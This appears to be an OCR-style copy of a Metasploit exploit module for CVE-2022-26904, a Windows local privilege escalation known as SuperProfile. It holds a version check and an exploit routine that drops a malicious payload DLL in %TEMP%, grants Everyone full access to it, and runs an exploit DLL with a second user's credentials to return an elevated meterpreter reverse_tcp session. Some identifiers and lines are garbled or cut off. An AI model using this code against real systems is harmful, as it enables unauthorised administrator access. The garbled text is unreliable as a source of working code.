

"Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances

April 2024

Code Execution (7,972)

```
where this setting has been changed either manually or as part of the installation process.
          'License' => MSF LICENSE.
          'Author' => [
            'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass
            'Grant Willcox' # Metasploit module + Tweaks to PoC
          'Arch' => [ ARCH_X64 ],
          'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
           Targets' => [
           [ 'Windows 11', { 'Arch' => ARCH_X64 } ]
          'References' => [
           ['CVE', '2022-26904'],
['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but
was taken down. This is a backup.
            ['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original
blog post
            ['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug
providing insight into patched functionality.
          'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_SAFE, ],
            'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to
get it to the point where it can be used repetitively.
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
          'DefaultOptions' => {
            'EXITFUNC' => 'thread',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
            'WfsDelay' => 300
          'AKA' => [ 'SuperProfile' ]
   register options([
     OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the
     OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),
     OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])
   1)
 end
   sysinfo_value = sysinfo['OS']
   if sysinfo value !~ /windows/i
     # Non-Windows systems are definitely not affected.
     return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
   # see https://docs.microsoft.com/en-us/windows/release-information/
   unless sysinfo_value =~ /(7|8|8 \cdot 1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/
     return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
   print_status('Checking if PromptOnSecureDesktop mitigation applied...')
    reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'
   reg_val = 'PromptOnSecureDesktop'
   begin
     root_key, base_key = @session.sys.registry.splitkey(reg_key)
     value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)
   rescue Rex::Post::Meterpreter::RequestError => e
     return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")
   end
   if value.data == 0
     return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')
     print good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')
     return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")
   end
    _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
   major_minor_version = sysinfo_value.match(/((\d{1,2}.\d)/)
   if major minor version.nil?
     return CheckCode::Unknown("Could not retrieve the major n minor version of the target's build number!")
   end
   major_minor_version = major_minor_version[1]
   build_num = "#{major_minor_version}.#{build}.#{revision}"
   build_num_gemversion = Rex::Version.new(build_num)
   # Build numbers taken from https://www.gaijin.at/en/infos/windows-version-numbers and from
```

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# https://en.wikipedia.org/wiki/Windows_11_version_history and https://en.wikipedia.org/wiki/Windows_10_version_history
    if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11
      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022
      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2
      return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1
      {\tt target\_not\_presently\_supported}
      return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.19042.0')) # Windows 10 20H2 / Windows Server, Version 20H2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) # Windows 10 v2004 / Windows Server v2004
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.18363.0')) # Windows 10 v1909 / Windows Server v1909
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) # Windows 10 v1903
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.17763.0')) # Windows 10 v1809 / Windows Server 2019 v1809
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) # Windows 10 v1803
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.16299.0')) # Windows 10 v1709
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!'
    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) # Windows 10 v1703
      {\tt target\_not\_presently\_supported}
      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.14393.0')) # Windows 10 v1607 / Windows Server 2016 v1607
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) # Windows 10 v1511
      {\tt target\_not\_presently\_supported}
      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
    elsif (build num gemversion >= Rex::Version.new('10.0.10240.0')) # Windows 10 v1507
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) # Windows 8.1/Windows Server 2012 R2
      {\tt target\_not\_presently\_supported}
      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) # Windows 8/Windows Server 2012
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) # Windows 7 SP1/Windows Server 2008 R2 SP1
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build num gemversion >= Rex::Version.new('6.1.7600.0')) # Windows 7/Windows Server 2008 R2
      target not presently supported
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.0.6002.0')) # Windows Server 2008 SP2
      target_not_presently_supported
      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
    else
     return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
   end
 def target_not_presently_supported
    print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
   print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
  def check_target_is_running_supported_windows_version
   if !sysinfo['05'].include?('Windows')
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
    elsif [sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server
2022')
      fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...')
    end
  end
 def exploit
   # Step 1: Check target environment is correct.
    print_status('Step #1: Checking target environment...')
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    check target is running supported windows version
    # Step 2: Generate the malicious DLL and upload it to a temp location.
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")
    temp_directory = session.sys.config.getenv('%TEMP%')
   malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
print_status("Writing malicious DLL to #{malicious_dll_location}")
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write_file(malicious_dll_location, payload_dll)
   print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')
   cmd exec("icacls #{malicious_dll_location} /grant Everyone:(F)")
   register_file_for_cleanup(malicious_dll_location)
   # Register the directories we create for cleanup
   register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')
   register_dir_for_cleanup('C:\\Users\\TEMP')
   # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.
   print_status('Step #3: Loading the exploit DLL to run the main exploit...')
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')
   library_path = ::File.expand_path(library_path)
   dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s +
'||' + malicious dll location.to s
   @session_obtained_bool = false
   # invoke the exploit, passing in the address of the payload that
   # we want invoked on successful exploitation, and the credentials for the second user.
   execute_dll(library_path, dll_info_parameter)
   print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following
command upon session completion:")
   print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F ||
taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')
   print warning ('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually
   print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')
   print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')
   sleep(60)
   if (@session obtained bool == false)
     # Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself
     # triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.
       cmd_exec('UserAccountControlSettings.exe')
     rescue Rex::TimeoutError
       print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')
     end
 def on new session(new session)
   @session obtained bool = true
   old_session = @session
   @session = new_session
   if new_session.type == 'meterpreter'
     consent_pids = pidof('consent.exe')
     for id in consent_pids
       @session.sys.process.kill(id)
     end
     sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes
     # can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.
     narrator_pids = pidof('Narrator.exe')
     for id in narrator_pids
       @session.sys.process.kill(id)
     end
     narrator_pids = pidof('NarratorQuickStart.exe')
     for id in narrator_pids
       @session.sys.process.kill(id)
     end
     narrator pids = pidof('msiexec.exe')
     for id in narrator pids
       @session.sys.process.kill(id)
     # If it is another session type such as shell or PowerShell we will need to execute the command
     # normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes
# by name or PIDs as library functions for these session types.
     cmd exec('taskkill /IM "consent.exe" /F')
     cmd_exec('taskkill /IM "narrator.exe" /F')
     cmd_exec('taskkill /IM "narratorquickstart.exe" /F')
     cmd_exec('taskkill /IM "msiexec.exe" /F')
   rm_rf('C:\\Windows\\System32\\Narrator.exe.local')
   for _i in range(1..3)
     rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.
   end
   @session = old session
   super
 end
```

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